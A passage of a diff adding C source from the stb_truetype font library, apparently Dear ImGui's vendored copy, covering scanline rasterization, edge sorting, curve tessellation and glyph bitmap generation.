- e->y0); + STBTT_assert(z != NULL); + if (!z) return z; + + // round dx down to avoid overshooting + if (dxdy < 0) + z->dx = -STBTT_ifloor(STBTT_FIX * -dxdy); + else + z->dx = STBTT_ifloor(STBTT_FIX * dxdy); + + z->x = STBTT_ifloor(STBTT_FIX * e->x0 + z->dx * (start_point - e->y0)); // use z->dx so when we offset later it's by the same amount + z->x -= off_x * STBTT_FIX; + + z->ey = e->y1; + z->next = 0; + z->direction = e->invert ? 1 : -1; + return z; +} +#elif STBTT_RASTERIZER_VERSION == 2 +static stbtt__active_edge *stbtt__new_active(stbtt__hheap *hh, stbtt__edge *e, int off_x, float start_point, void *userdata) +{ + stbtt__active_edge *z = (stbtt__active_edge *) stbtt__hheap_alloc(hh, sizeof(*z), userdata); + float dxdy = (e->x1 - e->x0) / (e->y1 - e->y0); + STBTT_assert(z != NULL); + //STBTT_assert(e->y0 <= start_point); + if (!z) return z; + z->fdx = dxdy; + z->fdy = dxdy != 0.0f ? (1.0f/dxdy) : 0.0f; + z->fx = e->x0 + dxdy * (start_point - e->y0); + z->fx -= off_x; + z->direction = e->invert ? 1.0f : -1.0f; + z->sy = e->y0; + z->ey = e->y1; + z->next = 0; + return z; +} +#else +#error "Unrecognized value of STBTT_RASTERIZER_VERSION" +#endif + +#if STBTT_RASTERIZER_VERSION == 1 +// note: this routine clips fills that extend off the edges... ideally this +// wouldn't happen, but it could happen if the truetype glyph bounding boxes +// are wrong, or if the user supplies a too-small bitmap +static void stbtt__fill_active_edges(unsigned char *scanline, int len, stbtt__active_edge *e, int max_weight) +{ + // non-zero winding fill + int x0=0, w=0; + + while (e) { + if (w == 0) { + // if we're currently at zero, we need to record the edge start point + x0 = e->x; w += e->direction; + } else { + int x1 = e->x; w += e->direction; + // if we went to zero, we need to draw + if (w == 0) { + int i = x0 >> STBTT_FIXSHIFT; + int j = x1 >> STBTT_FIXSHIFT; + + if (i < len && j >= 0) { + if (i == j) { + // x0,x1 are the same pixel, so compute combined coverage + scanline[i] = scanline[i] + (stbtt_uint8) ((x1 - x0) * max_weight >> STBTT_FIXSHIFT); + } else { + if (i >= 0) // add antialiasing for x0 + scanline[i] = scanline[i] + (stbtt_uint8) (((STBTT_FIX - (x0 & STBTT_FIXMASK)) * max_weight) >> STBTT_FIXSHIFT); + else + i = -1; // clip + + if (j < len) // add antialiasing for x1 + scanline[j] = scanline[j] + (stbtt_uint8) (((x1 & STBTT_FIXMASK) * max_weight) >> STBTT_FIXSHIFT); + else + j = len; // clip + + for (++i; i < j; ++i) // fill pixels between x0 and x1 + scanline[i] = scanline[i] + (stbtt_uint8) max_weight; + } + } + } + } + + e = e->next; + } +} + +static void stbtt__rasterize_sorted_edges(stbtt__bitmap *result, stbtt__edge *e, int n, int vsubsample, int off_x, int off_y, void *userdata) +{ + stbtt__hheap hh = { 0, 0, 0 }; + stbtt__active_edge *active = NULL; + int y,j=0; + int max_weight = (255 / vsubsample); // weight per vertical scanline + int s; // vertical subsample index + unsigned char scanline_data[512], *scanline; + + if (result->w > 512) + scanline = (unsigned char *) STBTT_malloc(result->w, userdata); + else + scanline = scanline_data; + + y = off_y * vsubsample; + e[n].y0 = (off_y + result->h) * (float) vsubsample + 1; + + while (j < result->h) { + STBTT_memset(scanline, 0, result->w); + for (s=0; s < vsubsample; ++s) { + // find center of pixel for this scanline + float scan_y = y + 0.5f; + stbtt__active_edge **step = &active; + + // update all active edges; + // remove all active edges that terminate before the center of this scanline + while (*step) { + stbtt__active_edge * z = *step; + if (z->ey <= scan_y) { + *step = z->next; // delete from list + STBTT_assert(z->direction); + z->direction = 0; + stbtt__hheap_free(&hh, z); + } else { + z->x += z->dx; // advance to position for current scanline + step = &((*step)->next); // advance through list + } + } + + // resort the list if needed + for(;;) { + int changed=0; + step = &active; + while (*step && (*step)->next) { + if ((*step)->x > (*step)->next->x) { + stbtt__active_edge *t = *step; + stbtt__active_edge *q = t->next; + + t->next = q->next; + q->next = t; + *step = q; + changed = 1; + } + step = &(*step)->next; + } + if (!changed) break; + } + + // insert all edges that start before the center of this scanline -- omit ones that also end on this scanline + while (e->y0 <= scan_y) { + if (e->y1 > scan_y) { + stbtt__active_edge *z = stbtt__new_active(&hh, e, off_x, scan_y, userdata); + if (z != NULL) { + // find insertion point + if (active == NULL) + active = z; + else if (z->x < active->x) { + // insert at front + z->next = active; + active = z; + } else { + // find thing to insert AFTER + stbtt__active_edge *p = active; + while (p->next && p->next->x < z->x) + p = p->next; + // at this point, p->next->x is NOT < z->x + z->next = p->next; + p->next = z; + } + } + } + ++e; + } + + // now process all active edges in XOR fashion + if (active) + stbtt__fill_active_edges(scanline, result->w, active, max_weight); + + ++y; + } + STBTT_memcpy(result->pixels + j * result->stride, scanline, result->w); + ++j; + } + + stbtt__hheap_cleanup(&hh, userdata); + + if (scanline != scanline_data) + STBTT_free(scanline, userdata); +} + +#elif STBTT_RASTERIZER_VERSION == 2 + +// the edge passed in here does not cross the vertical line at x or the vertical line at x+1 +// (i.e. it has already been clipped to those) +static void stbtt__handle_clipped_edge(float *scanline, int x, stbtt__active_edge *e, float x0, float y0, float x1, float y1) +{ + if (y0 == y1) return; + STBTT_assert(y0 < y1); + STBTT_assert(e->sy <= e->ey); + if (y0 > e->ey) return; + if (y1 < e->sy) return; + if (y0 < e->sy) { + x0 += (x1-x0) * (e->sy - y0) / (y1-y0); + y0 = e->sy; + } + if (y1 > e->ey) { + x1 += (x1-x0) * (e->ey - y1) / (y1-y0); + y1 = e->ey; + } + + if (x0 == x) + STBTT_assert(x1 <= x+1); + else if (x0 == x+1) + STBTT_assert(x1 >= x); + else if (x0 <= x) + STBTT_assert(x1 <= x); + else if (x0 >= x+1) + STBTT_assert(x1 >= x+1); + else + STBTT_assert(x1 >= x && x1 <= x+1); + + if (x0 <= x && x1 <= x) + scanline[x] += e->direction * (y1-y0); + else if (x0 >= x+1 && x1 >= x+1) + ; + else { + STBTT_assert(x0 >= x && x0 <= x+1 && x1 >= x && x1 <= x+1); + scanline[x] += e->direction * (y1-y0) * (1-((x0-x)+(x1-x))/2); // coverage = 1 - average x position + } +} + +static void stbtt__fill_active_edges_new(float *scanline, float *scanline_fill, int len, stbtt__active_edge *e, float y_top) +{ + float y_bottom = y_top+1; + + while (e) { + // brute force every pixel + + // compute intersection points with top & bottom + STBTT_assert(e->ey >= y_top); + + if (e->fdx == 0) { + float x0 = e->fx; + if (x0 < len) { + if (x0 >= 0) { + stbtt__handle_clipped_edge(scanline,(int) x0,e, x0,y_top, x0,y_bottom); + stbtt__handle_clipped_edge(scanline_fill-1,(int) x0+1,e, x0,y_top, x0,y_bottom); + } else { + stbtt__handle_clipped_edge(scanline_fill-1,0,e, x0,y_top, x0,y_bottom); + } + } + } else { + float x0 = e->fx; + float dx = e->fdx; + float xb = x0 + dx; + float x_top, x_bottom; + float sy0,sy1; + float dy = e->fdy; + STBTT_assert(e->sy <= y_bottom && e->ey >= y_top); + + // compute endpoints of line segment clipped to this scanline (if the + // line segment starts on this scanline. x0 is the intersection of the + // line with y_top, but that may be off the line segment. + if (e->sy > y_top) { + x_top = x0 + dx * (e->sy - y_top); + sy0 = e->sy; + } else { + x_top = x0; + sy0 = y_top; + } + if (e->ey < y_bottom) { + x_bottom = x0 + dx * (e->ey - y_top); + sy1 = e->ey; + } else { + x_bottom = xb; + sy1 = y_bottom; + } + + if (x_top >= 0 && x_bottom >= 0 && x_top < len && x_bottom < len) { + // from here on, we don't have to range check x values + + if ((int) x_top == (int) x_bottom) { + float height; + // simple case, only spans one pixel + int x = (int) x_top; + height = sy1 - sy0; + STBTT_assert(x >= 0 && x < len); + scanline[x] += e->direction * (1-((x_top - x) + (x_bottom-x))/2) * height; + scanline_fill[x] += e->direction * height; // everything right of this pixel is filled + } else { + int x,x1,x2; + float y_crossing, step, sign, area; + // covers 2+ pixels + if (x_top > x_bottom) { + // flip scanline vertically; signed area is the same + float t; + sy0 = y_bottom - (sy0 - y_top); + sy1 = y_bottom - (sy1 - y_top); + t = sy0, sy0 = sy1, sy1 = t; + t = x_bottom, x_bottom = x_top, x_top = t; + dx = -dx; + dy = -dy; + t = x0, x0 = xb, xb = t; + // [DEAR IMGUI] Fix static analyzer warning + (void)dx; // [ImGui: fix static analyzer warning] + } + + x1 = (int) x_top; + x2 = (int) x_bottom; + // compute intersection with y axis at x1+1 + y_crossing = (x1+1 - x0) * dy + y_top; + + sign = e->direction; + // area of the rectangle covered from y0..y_crossing + area = sign * (y_crossing-sy0); + // area of the triangle (x_top,y0), (x+1,y0), (x+1,y_crossing) + scanline[x1] += area * (1-((x_top - x1)+(x1+1-x1))/2); + + step = sign * dy; + for (x = x1+1; x < x2; ++x) { + scanline[x] += area + step/2; + area += step; + } + y_crossing += dy * (x2 - (x1+1)); + + STBTT_assert(STBTT_fabs(area) <= 1.01f); + + scanline[x2] += area + sign * (1-((x2-x2)+(x_bottom-x2))/2) * (sy1-y_crossing); + + scanline_fill[x2] += sign * (sy1-sy0); + } + } else { + // if edge goes outside of box we're drawing, we require + // clipping logic. since this does not match the intended use + // of this library, we use a different, very slow brute + // force implementation + int x; + for (x=0; x < len; ++x) { + // cases: + // + // there can be up to two intersections with the pixel. any intersection + // with left or right edges can be handled by splitting into two (or three) + // regions. intersections with top & bottom do not necessitate case-wise logic. + // + // the old way of doing this found the intersections with the left & right edges, + // then used some simple logic to produce up to three segments in sorted order + // from top-to-bottom. however, this had a problem: if an x edge was epsilon + // across the x border, then the corresponding y position might not be distinct + // from the other y segment, and it might ignored as an empty segment. to avoid + // that, we need to explicitly produce segments based on x positions. + + // rename variables to clearly-defined pairs + float y0 = y_top; + float x1 = (float) (x); + float x2 = (float) (x+1); + float x3 = xb; + float y3 = y_bottom; + + // x = e->x + e->dx * (y-y_top) + // (y-y_top) = (x - e->x) / e->dx + // y = (x - e->x) / e->dx + y_top + float y1 = (x - x0) / dx + y_top; + float y2 = (x+1 - x0) / dx + y_top; + + if (x0 < x1 && x3 > x2) { // three segments descending down-right + stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x1,y1); + stbtt__handle_clipped_edge(scanline,x,e, x1,y1, x2,y2); + stbtt__handle_clipped_edge(scanline,x,e, x2,y2, x3,y3); + } else if (x3 < x1 && x0 > x2) { // three segments descending down-left + stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x2,y2); + stbtt__handle_clipped_edge(scanline,x,e, x2,y2, x1,y1); + stbtt__handle_clipped_edge(scanline,x,e, x1,y1, x3,y3); + } else if (x0 < x1 && x3 > x1) { // two segments across x, down-right + stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x1,y1); + stbtt__handle_clipped_edge(scanline,x,e, x1,y1, x3,y3); + } else if (x3 < x1 && x0 > x1) { // two segments across x, down-left + stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x1,y1); + stbtt__handle_clipped_edge(scanline,x,e, x1,y1, x3,y3); + } else if (x0 < x2 && x3 > x2) { // two segments across x+1, down-right + stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x2,y2); + stbtt__handle_clipped_edge(scanline,x,e, x2,y2, x3,y3); + } else if (x3 < x2 && x0 > x2) { // two segments across x+1, down-left + stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x2,y2); + stbtt__handle_clipped_edge(scanline,x,e, x2,y2, x3,y3); + } else { // one segment + stbtt__handle_clipped_edge(scanline,x,e, x0,y0, x3,y3); + } + } + } + } + e = e->next; + } +} + +// directly AA rasterize edges w/o supersampling +static void stbtt__rasterize_sorted_edges(stbtt__bitmap *result, stbtt__edge *e, int n, int vsubsample, int off_x, int off_y, void *userdata) +{ + stbtt__hheap hh = { 0, 0, 0 }; + stbtt__active_edge *active = NULL; + int y,j=0, i; + float scanline_data[129], *scanline, *scanline2; + + STBTT__NOTUSED(vsubsample); + + if (result->w > 64) + scanline = (float *) STBTT_malloc((result->w*2+1) * sizeof(float), userdata); + else + scanline = scanline_data; + + scanline2 = scanline + result->w; + + y = off_y; + e[n].y0 = (float) (off_y + result->h) + 1; + + while (j < result->h) { + // find center of pixel for this scanline + float scan_y_top = y + 0.0f; + float scan_y_bottom = y + 1.0f; + stbtt__active_edge **step = &active; + + STBTT_memset(scanline , 0, result->w*sizeof(scanline[0])); + STBTT_memset(scanline2, 0, (result->w+1)*sizeof(scanline[0])); + + // update all active edges; + // remove all active edges that terminate before the top of this scanline + while (*step) { + stbtt__active_edge * z = *step; + if (z->ey <= scan_y_top) { + *step = z->next; // delete from list + STBTT_assert(z->direction); + z->direction = 0; + stbtt__hheap_free(&hh, z); + } else { + step = &((*step)->next); // advance through list + } + } + + // insert all edges that start before the bottom of this scanline + while (e->y0 <= scan_y_bottom) { + if (e->y0 != e->y1) { + stbtt__active_edge *z = stbtt__new_active(&hh, e, off_x, scan_y_top, userdata); + if (z != NULL) { + if (j == 0 && off_y != 0) { + if (z->ey < scan_y_top) { + // this can happen due to subpixel positioning and some kind of fp rounding error i think + z->ey = scan_y_top; + } + } + STBTT_assert(z->ey >= scan_y_top); // if we get really unlucky a tiny bit of an edge can be out of bounds + // insert at front + z->next = active; + active = z; + } + } + ++e; + } + + // now process all active edges + if (active) + stbtt__fill_active_edges_new(scanline, scanline2+1, result->w, active, scan_y_top); + + { + float sum = 0; + for (i=0; i < result->w; ++i) { + float k; + int m; + sum += scanline2[i]; + k = scanline[i] + sum; + k = (float) STBTT_fabs(k)*255 + 0.5f; + m = (int) k; + if (m > 255) m = 255; + result->pixels[j*result->stride + i] = (unsigned char) m; + } + } + // advance all the edges + step = &active; + while (*step) { + stbtt__active_edge *z = *step; + z->fx += z->fdx; // advance to position for current scanline + step = &((*step)->next); // advance through list + } + + ++y; + ++j; + } + + stbtt__hheap_cleanup(&hh, userdata); + + if (scanline != scanline_data) + STBTT_free(scanline, userdata); +} +#else +#error "Unrecognized value of STBTT_RASTERIZER_VERSION" +#endif + +#define STBTT__COMPARE(a,b) ((a)->y0 < (b)->y0) + +static void stbtt__sort_edges_ins_sort(stbtt__edge *p, int n) +{ + int i,j; + for (i=1; i < n; ++i) { + stbtt__edge t = p[i], *a = &t; + j = i; + while (j > 0) { + stbtt__edge *b = &p[j-1]; + int c = STBTT__COMPARE(a,b); + if (!c) break; + p[j] = p[j-1]; + --j; + } + if (i != j) + p[j] = t; + } +} + +static void stbtt__sort_edges_quicksort(stbtt__edge *p, int n) +{ + /* threshold for transitioning to insertion sort */ + while (n > 12) { + stbtt__edge t; + int c01,c12,c,m,i,j; + + /* compute median of three */ + m = n >> 1; + c01 = STBTT__COMPARE(&p[0],&p[m]); + c12 = STBTT__COMPARE(&p[m],&p[n-1]); + /* if 0 >= mid >= end, or 0 < mid < end, then use mid */ + if (c01 != c12) { + /* otherwise, we'll need to swap something else to middle */ + int z; + c = STBTT__COMPARE(&p[0],&p[n-1]); + /* 0>mid && midn => n; 0 0 */ + /* 0n: 0>n => 0; 0 n */ + z = (c == c12) ? 0 : n-1; + t = p[z]; + p[z] = p[m]; + p[m] = t; + } + /* now p[m] is the median-of-three */ + /* swap it to the beginning so it won't move around */ + t = p[0]; + p[0] = p[m]; + p[m] = t; + + /* partition loop */ + i=1; + j=n-1; + for(;;) { + /* handling of equality is crucial here */ + /* for sentinels & efficiency with duplicates */ + for (;;++i) { + if (!STBTT__COMPARE(&p[i], &p[0])) break; + } + for (;;--j) { + if (!STBTT__COMPARE(&p[0], &p[j])) break; + } + /* make sure we haven't crossed */ + if (i >= j) break; + t = p[i]; + p[i] = p[j]; + p[j] = t; + + ++i; + --j; + } + /* recurse on smaller side, iterate on larger */ + if (j < (n-i)) { + stbtt__sort_edges_quicksort(p,j); + p = p+i; + n = n-i; + } else { + stbtt__sort_edges_quicksort(p+i, n-i); + n = j; + } + } +} + +static void stbtt__sort_edges(stbtt__edge *p, int n) +{ + stbtt__sort_edges_quicksort(p, n); + stbtt__sort_edges_ins_sort(p, n); +} + +typedef struct +{ + float x,y; +} stbtt__point; + +static void stbtt__rasterize(stbtt__bitmap *result, stbtt__point *pts, int *wcount, int windings, float scale_x, float scale_y, float shift_x, float shift_y, int off_x, int off_y, int invert, void *userdata) +{ + float y_scale_inv = invert ? -scale_y : scale_y; + stbtt__edge *e; + int n,i,j,k,m; +#if STBTT_RASTERIZER_VERSION == 1 + int vsubsample = result->h < 8 ? 15 : 5; +#elif STBTT_RASTERIZER_VERSION == 2 + int vsubsample = 1; +#else + #error "Unrecognized value of STBTT_RASTERIZER_VERSION" +#endif + // vsubsample should divide 255 evenly; otherwise we won't reach full opacity + + // now we have to blow out the windings into explicit edge lists + n = 0; + for (i=0; i < windings; ++i) + n += wcount[i]; + + e = (stbtt__edge *) STBTT_malloc(sizeof(*e) * (n+1), userdata); // add an extra one as a sentinel + if (e == 0) return; + n = 0; + + m=0; + for (i=0; i < windings; ++i) { + stbtt__point *p = pts + m; + m += wcount[i]; + j = wcount[i]-1; + for (k=0; k < wcount[i]; j=k++) { + int a=k,b=j; + // skip the edge if horizontal + if (p[j].y == p[k].y) + continue; + // add edge from j to k to the list + e[n].invert = 0; + if (invert ? p[j].y > p[k].y : p[j].y < p[k].y) { + e[n].invert = 1; + a=j,b=k; + } + e[n].x0 = p[a].x * scale_x + shift_x; + e[n].y0 = (p[a].y * y_scale_inv + shift_y) * vsubsample; + e[n].x1 = p[b].x * scale_x + shift_x; + e[n].y1 = (p[b].y * y_scale_inv + shift_y) * vsubsample; + ++n; + } + } + + // now sort the edges by their highest point (should snap to integer, and then by x) + //STBTT_sort(e, n, sizeof(e[0]), stbtt__edge_compare); + stbtt__sort_edges(e, n); + + // now, traverse the scanlines and find the intersections on each scanline, use xor winding rule + stbtt__rasterize_sorted_edges(result, e, n, vsubsample, off_x, off_y, userdata); + + STBTT_free(e, userdata); +} + +static void stbtt__add_point(stbtt__point *points, int n, float x, float y) +{ + if (!points) return; // during first pass, it's unallocated + points[n].x = x; + points[n].y = y; +} + +// tessellate until threshold p is happy... @TODO warped to compensate for non-linear stretching +static int stbtt__tesselate_curve(stbtt__point *points, int *num_points, float x0, float y0, float x1, float y1, float x2, float y2, float objspace_flatness_squared, int n) +{ + // midpoint + float mx = (x0 + 2*x1 + x2)/4; + float my = (y0 + 2*y1 + y2)/4; + // versus directly drawn line + float dx = (x0+x2)/2 - mx; + float dy = (y0+y2)/2 - my; + if (n > 16) // 65536 segments on one curve better be enough! + return 1; + if (dx*dx+dy*dy > objspace_flatness_squared) { // half-pixel error allowed... need to be smaller if AA + stbtt__tesselate_curve(points, num_points, x0,y0, (x0+x1)/2.0f,(y0+y1)/2.0f, mx,my, objspace_flatness_squared,n+1); + stbtt__tesselate_curve(points, num_points, mx,my, (x1+x2)/2.0f,(y1+y2)/2.0f, x2,y2, objspace_flatness_squared,n+1); + } else { + stbtt__add_point(points, *num_points,x2,y2); + *num_points = *num_points+1; + } + return 1; +} + +static void stbtt__tesselate_cubic(stbtt__point *points, int *num_points, float x0, float y0, float x1, float y1, float x2, float y2, float x3, float y3, float objspace_flatness_squared, int n) +{ + // @TODO this "flatness" calculation is just made-up nonsense that seems to work well enough + float dx0 = x1-x0; + float dy0 = y1-y0; + float dx1 = x2-x1; + float dy1 = y2-y1; + float dx2 = x3-x2; + float dy2 = y3-y2; + float dx = x3-x0; + float dy = y3-y0; + float longlen = (float) (STBTT_sqrt(dx0*dx0+dy0*dy0)+STBTT_sqrt(dx1*dx1+dy1*dy1)+STBTT_sqrt(dx2*dx2+dy2*dy2)); + float shortlen = (float) STBTT_sqrt(dx*dx+dy*dy); + float flatness_squared = longlen*longlen-shortlen*shortlen; + + if (n > 16) // 65536 segments on one curve better be enough! + return; + + if (flatness_squared > objspace_flatness_squared) { + float x01 = (x0+x1)/2; + float y01 = (y0+y1)/2; + float x12 = (x1+x2)/2; + float y12 = (y1+y2)/2; + float x23 = (x2+x3)/2; + float y23 = (y2+y3)/2; + + float xa = (x01+x12)/2; + float ya = (y01+y12)/2; + float xb = (x12+x23)/2; + float yb = (y12+y23)/2; + + float mx = (xa+xb)/2; + float my = (ya+yb)/2; + + stbtt__tesselate_cubic(points, num_points, x0,y0, x01,y01, xa,ya, mx,my, objspace_flatness_squared,n+1); + stbtt__tesselate_cubic(points, num_points, mx,my, xb,yb, x23,y23, x3,y3, objspace_flatness_squared,n+1); + } else { + stbtt__add_point(points, *num_points,x3,y3); + *num_points = *num_points+1; + } +} + +// returns number of contours +static stbtt__point *stbtt_FlattenCurves(stbtt_vertex *vertices, int num_verts, float objspace_flatness, int **contour_lengths, int *num_contours, void *userdata) +{ + stbtt__point *points=0; + int num_points=0; + + float objspace_flatness_squared = objspace_flatness * objspace_flatness; + int i,n=0,start=0, pass; + + // count how many "moves" there are to get the contour count + for (i=0; i < num_verts; ++i) + if (vertices[i].type == STBTT_vmove) + ++n; + + *num_contours = n; + if (n == 0) return 0; + + *contour_lengths = (int *) STBTT_malloc(sizeof(**contour_lengths) * n, userdata); + + if (*contour_lengths == 0) { + *num_contours = 0; + return 0; + } + + // make two passes through the points so we don't need to realloc + for (pass=0; pass < 2; ++pass) { + float x=0,y=0; + if (pass == 1) { + points = (stbtt__point *) STBTT_malloc(num_points * sizeof(points[0]), userdata); + if (points == NULL) goto error; + } + num_points = 0; + n= -1; + for (i=0; i < num_verts; ++i) { + switch (vertices[i].type) { + case STBTT_vmove: + // start the next contour + if (n >= 0) + (*contour_lengths)[n] = num_points - start; + ++n; + start = num_points; + + x = vertices[i].x, y = vertices[i].y; + stbtt__add_point(points, num_points++, x,y); + break; + case STBTT_vline: + x = vertices[i].x, y = vertices[i].y; + stbtt__add_point(points, num_points++, x, y); + break; + case STBTT_vcurve: + stbtt__tesselate_curve(points, &num_points, x,y, + vertices[i].cx, vertices[i].cy, + vertices[i].x, vertices[i].y, + objspace_flatness_squared, 0); + x = vertices[i].x, y = vertices[i].y; + break; + case STBTT_vcubic: + stbtt__tesselate_cubic(points, &num_points, x,y, + vertices[i].cx, vertices[i].cy, + vertices[i].cx1, vertices[i].cy1, + vertices[i].x, vertices[i].y, + objspace_flatness_squared, 0); + x = vertices[i].x, y = vertices[i].y; + break; + } + } + (*contour_lengths)[n] = num_points - start; + } + + return points; +error: + STBTT_free(points, userdata); + STBTT_free(*contour_lengths, userdata); + *contour_lengths = 0; + *num_contours = 0; + return NULL; +} + +STBTT_DEF void stbtt_Rasterize(stbtt__bitmap *result, float flatness_in_pixels, stbtt_vertex *vertices, int num_verts, float scale_x, float scale_y, float shift_x, float shift_y, int x_off, int y_off, int invert, void *userdata) +{ + float scale = scale_x > scale_y ? scale_y : scale_x; + int winding_count = 0; + int *winding_lengths = NULL; + stbtt__point *windings = stbtt_FlattenCurves(vertices, num_verts, flatness_in_pixels / scale, &winding_lengths, &winding_count, userdata); + if (windings) { + stbtt__rasterize(result, windings, winding_lengths, winding_count, scale_x, scale_y, shift_x, shift_y, x_off, y_off, invert, userdata); + STBTT_free(winding_lengths, userdata); + STBTT_free(windings, userdata); + } +} + +STBTT_DEF void stbtt_FreeBitmap(unsigned char *bitmap, void *userdata) +{ + STBTT_free(bitmap, userdata); +} + +STBTT_DEF unsigned char *stbtt_GetGlyphBitmapSubpixel(const stbtt_fontinfo *info, float scale_x, float scale_y, float shift_x, float shift_y, int glyph, int *width, int *height, int *xoff, int *yoff) +{ + int ix0,iy0,ix1,iy1; + stbtt__bitmap gbm; + stbtt_vertex *vertices; + int num_verts = stbtt_GetGlyphShape(info, glyph, &vertices); + + if (scale_x == 0) scale_x = scale_y; + if (scale_y == 0) { + if (scale_x == 0) { + STBTT_free(vertices, info->userdata); + return NULL; + } + scale_y = scale_x; + } + + stbtt_GetGlyphBitmapBoxSubpixel(info, glyph, scale_x, scale_y, shift_x, shift_y, &ix0,&iy0,&ix1,&iy1); + + // now we get the size + gbm.w = (ix1 - ix0); + gbm.h = (iy1 - iy0); + gbm.pixels = NULL; // in case we error + + if (width ) *width = gbm.w; + if (height) *height = gbm.h; + if (xoff ) *xoff = ix0; + if (yoff ) *yoff = iy0; + + if (gbm.w && gbm.h) { + gbm.pixels = (unsigned char *) STBTT_malloc(gbm.w * gbm.h, info->userdata); + if (gbm.pixels) { + gbm.stride = gbm.w; + + stbtt_Rasterize(&gbm, 0.35f, vertices, num_verts, scale_x, scale_y, shift_x, shift_y, ix0, iy0, 1, info->userdata); + } + } + STBTT_free(vertices, info->userdata); + return gbm.pixels; +} + +STBTT_DEF unsigned char *stbtt_GetGlyphBitmap(const stbtt_fontinfo *info, float scale_x, float scale_y, int glyph, int *width, int *height, int *xoff, int *yoff) +{ + return stbtt_GetGlyphBitmapSubpixel(info, scale_x, scale_y, 0.0f, 0.0f, glyph, width, height, xoff, yoff); +} + +STBTT_DEF void stbtt_MakeGlyphBitmapSubpixel(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int glyph) +{ + int ix0,iy0; + stbtt_vertex *vertices; + int num_verts = stbtt_GetGlyphShape(info, glyph, &vertices); + stbtt__bitmap gbm; + + stbtt_GetGlyphBitmapBoxSubpixel(info, glyph, scale_x, scale_y, shift_x, shift_y, &ix0,&iy0,0,0); + gbm.pixels = output; + gbm.w = out_w; + gbm.h = out_h; + gbm.stride = out_stride; + + if (gbm.w && gbm.h) + stbtt_Rasterize(&gbm, 0.35f, vertices, num_verts, scale_x, scale_y, shift_x, shift_y, ix0,iy0, 1, info->userdata); + + STBTT_free(vertices, info->userdata); +} + +STBTT_DEF void stbtt_MakeGlyphBitmap(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, int glyph) +{ + stbtt_MakeGlyphBitmapSubpixel(info, output, out_w, out_h, out_stride, scale_x, scale_y, 0.0f,0.0f, glyph); +} + +STBTT_DEF unsigned char *stbtt_GetCodepointBitmapSubpixel(const stbtt_fontinfo *info, float scale_x, float scale_y, float shift_x, float shift_y, int codepoint, int *width, int *height, int *xoff, int *yoff) +{ + return stbtt_GetGlyphBitmapSubpixel(info, scale_x, scale_y,shift_x,shift_y, stbtt_FindGlyphIndex(info,codepoint), width,height,xoff,yoff); +} + +STBTT_DEF void stbtt_MakeCodepointBitmapSubpixelPrefilter(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int oversample_x, int oversample_y, float *sub_x, float *sub_y, int codepoint) +{ + stbtt_MakeGlyphBitmapSubpixelPrefilter(info, output, out_w, out_h, out_stride, scale_x, scale_y, shift_x, shift_y, oversample_x, oversample_y, sub_x, sub_y, stbtt_FindGlyphIndex(info,codepoint)); +} + +STBTT_DEF void stbtt_MakeCodepointBitmapSubpixel(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, float shift_x, float shift_y, int codepoint) +{ + stbtt_MakeGlyphBitmapSubpixel(info, output, out_w, out_h, out_stride, scale_x, scale_y, shift_x, shift_y, stbtt_FindGlyphIndex(info,codepoint)); +} + +STBTT_DEF unsigned char *stbtt_GetCodepointBitmap(const stbtt_fontinfo *info, float scale_x, float scale_y, int codepoint, int *width, int *height, int *xoff, int *yoff) +{ + return stbtt_GetCodepointBitmapSubpixel(info, scale_x, scale_y, 0.0f,0.0f, codepoint, width,height,xoff,yoff); +} + +STBTT_DEF void stbtt_MakeCodepointBitmap(const stbtt_fontinfo *info, unsigned char *output, int out_w, int out_h, int out_stride, float scale_x, float scale_y, int codepoint) +{ + stbtt_MakeCodepointBitmapSubpixel(info, output, out_w, out_h, out_stride, scale_x, scale_y, 0.0f,0.0f, codepoint); +} + +////////////////////////////////////////////////////////////////////////////// +// +// bitmap baking +// +// This is SUPER-CRAPPY packing to keep source code small + +static int stbtt_BakeFontBitmap_internal(unsigned char *data, int offset, // font location (use offset=0 for plain .ttf) + float pixel_height, // height of font in pixels + unsigned char *pixels, int pw, int ph, // bitmap to be filled in + int first_char, int num_chars, // characters to bake + stbtt_bakedchar *chardata) +{ + float scale; + int x,y,bottom_y, i; + stbtt_fontinfo f; + f.userdata = NULL; + if (!stbtt_InitFont(&f, data, offset)) + return -1; + STBTT_memset(pixels, 0, pw*ph); // background of 0 around pixels + x=y=1; + bottom_y = 1; + + scale = stbtt_ScaleForPixelHeight(&f, pixel_height); + + for (i=0; i < num_chars; ++i) { + int advance, lsb, x0,y0,x1,y1,gw,gh; + int g = stbtt_FindGlyphIndex(&f, first_char + i); + stbtt_GetGlyphHMetrics(&f, g, &advance, &lsb); + stbtt_GetGlyphBitmapBox(&f, g, scale,scale, &x0,&y0,&x1,&y1); + gw = x1-x0; + gh = y1-y0; + if (x + gw + 1 >= pw) + y = bottom_y, x = 1; // advance to next row + if (y + gh + 1 >= ph) // check if it fits vertically AFTER potentially moving to next row + return -i; + STBTT_assert(x+gw < pw); + STBTT_assert(y+gh < ph); + stbtt_MakeGlyphBitmap(&f, pixels+x+y*pw, gw,gh,pw, scale,scale, g); + chardata[i].x0 = (stbtt_int16) x; + chardata[i].y0 = (stbtt_int16) y; + chardata[i].x1 = (stbtt_int16) (x + gw); + chardata[i].y1 = (stbtt_int16) (y + gh); + chardata[i].xadvance = scale * advance; + chardata[i].xoff = (float) x0; + chardata[i].yoff = (float) y0; + x = x + gw + 1; + if (y+gh+1 > bottom_y) + bottom_y = y+gh+1; + } + return bottom_y; +} + +STBTT_DEF void stbtt_GetBakedQuad(const stbtt_bakedchar *chardata, int pw, int ph, int char_index, float *xpos, float *ypos, stbtt_aligned_quad *q, int opengl_fillrule) +{ + float d3d_bias = opengl_fillrule ? 0 : -0.5f; + float ipw = 1.0f / pw, iph = 1.0f / ph; + const stbtt_bakedchar *b = chardata + char_index; + int round_x = STBTT_ifloor((*xpos + b->xoff) + 0.5f); + int 